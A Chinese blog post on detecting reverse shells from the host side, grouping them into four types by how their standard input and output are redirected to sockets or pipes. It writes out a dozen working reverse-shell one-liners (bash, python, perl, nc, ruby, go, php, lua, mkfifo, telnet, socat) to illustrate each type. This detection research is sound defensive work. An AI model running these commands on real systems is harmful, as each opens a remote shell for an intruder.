基于主机的反弹shell检测思路

 

前言

难免有时候网站会存在命令执行、代码执行等漏洞可能被黑客反弹shell,如何第一时间发现反弹shell特征,kill掉相应进程,保护主机安全呢?
本文主要探究一下主机反弹shell有哪些特征,为HIDS检测主机反弹shell行为提供一些思路。

类型一

bash反弹

先从最常规的开始举个例子。

bash -i >& /dev/tcp/ip/port 0>&1

原理简单说一下,本地打开bash将标准输出、标准错误输出、标准输入通过socket链接重定向至远程

>&作用就是混合输出(错误、正确输出都输出到一个地方)

/dev/tcp|udp/ip/port 可以看作是一个远程设备,所有重定向到该设备的信息
都会被转发至 ip:port 对应的远程设备

另外至少需要把标准输出流,标准输入流定向至远程,也就是远程输入命令
执行结果定向至远程,形成一个回路,也就是交互式shell。

查看一下进程的文件描述符:

可以看到0,1,2文件描述符都被重定向至远程socket链接,lsof看一下bash进程:

此时我们打开本地再打开一个bash,lsof命令查看一下进程描述符:


可以看到正常情况下文件描述符指向/dev/pts/0(因为linux下一切皆文件,这个文件就代表伪终端或虚拟终端)而反弹shell的情况下文件描述符都是指向远程socket链接,同时用户可能是www、www-data、apache、nginx等用户

补充:为什么每个bash进程都会有0,1,2三个文件描述符?
shell会继承父进程的文件描述符,因此所有的shell都会默认有这三个文件描述符
以后再打开文件,描述符依次增加(0,1,2分别代表标准输入,标准输出和标准错误输出)

这是反弹shell最常见的特征,就是bash进程中的输入输出文件描述符被定向到远程socket链接,下面我们看看常见的其他反弹shell方法:

python反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

s.fileno() 查看建立socket链接返回的文件描述符是3

使用duo2方法将第二个形参(文件描述符)指向第一个形参(socket链接)

接下来使用os的subprocess在本地开启一个子进程,启动bash交互模式,标准输入、标准输出、标准错误输出被重定向到了远程
lsof命令查看一下:


特征与上面基本一致,也是输入输出流被重定向到了远程socket链接

perl反弹

perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

特征与上面基本一致

nc反弹shell

nc -e /bin/bash 127.0.0.1 7777

如果执行上面命令提示没有-e 选项,可能因为版本是openbsd,可以手动指定nc.traditional

lsof发现与上面的基本相同,这种都是属于同一种类型的,类似的还有:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

php –r  'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

等等,上面都属于同一种类型,就是直接把bash文件描述符重定向至远程socket链接。

类型二

基本例子

下面看一下另一种类型,不同进程之间通过管道相连接,最后通过多次管道定向至bash的输入输出。

随便举个简单例子nc通过管道将远程的输入流定向至/bin/bash

/bin/nc.traditional 10.211.55.2 7777 | /bin/bash

命令的意思是接受来自远程的数据通过管道作为bash的输入

lsof命令看到0也就是标准输入是来自管道,通过id追踪到管道另一端的进程

看到另一个进程有一个socket的远程连接,也就是通过远程接受命令,然后通过管道传输给bash进程执行

也就是说输入输出中间可能会经历多层管道,但最终一定会定向到远程的socket链接,pipe[387461] 最终还是被重定向至socket链接,中间需要根据id追踪一下管道两边的进程,完整过程如下,贴一张图就不做解释了:

补充:解释一下pipe和fifo在linux里还是有点区别的:
pipe是创建管道(匿名)的函数,管道(匿名)是内核中的一个单向数据通道,管道有一个读端和一个写端。一般用于父子进程之间的通信。
fifo是命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在(因为多个进程要识别),它的行为却和之前匿名管道类似(一端读一端写),但是FIFO文件也不在磁盘进行存储。一般用于进程间的通信。

nc

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准
输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

补充: https://blog.csdn.net/qq_42914528/article/details/82023408


lsof可以看到0,1,2文件描述符全部被重定向到了管道,通过id追踪一下管道另一端的进程

找到cat进程,发现一个进程名描述符指向文件,上面命令中已经有了体现,继续通过id追踪

找到了nc进程,发现nc有对外socket链接,也就是说nc接受命令通过cat传给bash执行。

telnet反弹shell

mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a

telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555

与上面的类型,方法基本一样不做赘述。

总结一下第二种类型的反弹shell:0,1,2标准输入输出、错误输出流被指向pipe管道,管道指向到另一个进程会有一个对外的socket链接,中间或许经过多层管道,但最终被定向到的进程必有一个socket链接。

类型三

socat反弹shell

可以看作是netcat增强版,Ubuntu下默认不预装

反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999
监听命令
socat file:`tty`,raw,echo=0 tcp-listen:9999

补充:SOCK_DGRAM 是无保障的面向消息的socket,主要用于在网络上发广播信息。

可以看出这种类型与上两种是有区别的bash通过管道与socat进程通信,但是管道并不是重定向的标准输入输出、标准错误输出这三个流而是其他的流,然后在程序内部再将该pipe管道定向到0,1,2这三个文件描述符。

这就是第三种基本类型特征。

类型四

msf生成payload反弹shell

这里以生成python为例,其他例如php等原理上都一样,生成payload受害主机上执行。lsof查看进程描述符的情况。

可以看到python开启了一个远程socket链接,但是没有任何pipe管道指向bash进程,查看msf生成的payload可知只是返回了一个相当于代码执行,并不是真正意义上的交互式shell。
反观其特征就是一个正常进程对外有一个socket链接,特征不足,这种并不好检测。

dns_shell&icmp_shell

网上有很多开源的反弹shell的比如:
https://github.com/ahhh/Reverse_DNS_Shell
正常shell走的是tcp或者udp协议,而他们走的是dns、icmp协议,在流量上做到了很好的伪装,但是在基于主机检测面前和上面的例子本质上是一样的。

lsof命令查看进程信息:

与上面情况基本一直,必须使用定制化的客户端,相当于代码执行上的一层封装。

总结

再往下总结甚至可以列出第五种类型,比如client端接受server端命令,新开一个bash子进程进行命令执行等等,骚操作层出不穷。

从主机防护角度来讲,特征的高覆盖率势必对应着高误报,总要从这之间找到一个平衡点。

但是回过头来仔细想想,从一个黑客的角度出发,是不是会从最简单的反弹shell方法开始尝试,那当他第一步尝试失败的时候我们已经抓到了入侵动机,并及时采取了措施。

posted @ 2019-11-13 14:41  BuXuan  阅读(3130)  评论(0编辑  收藏  举报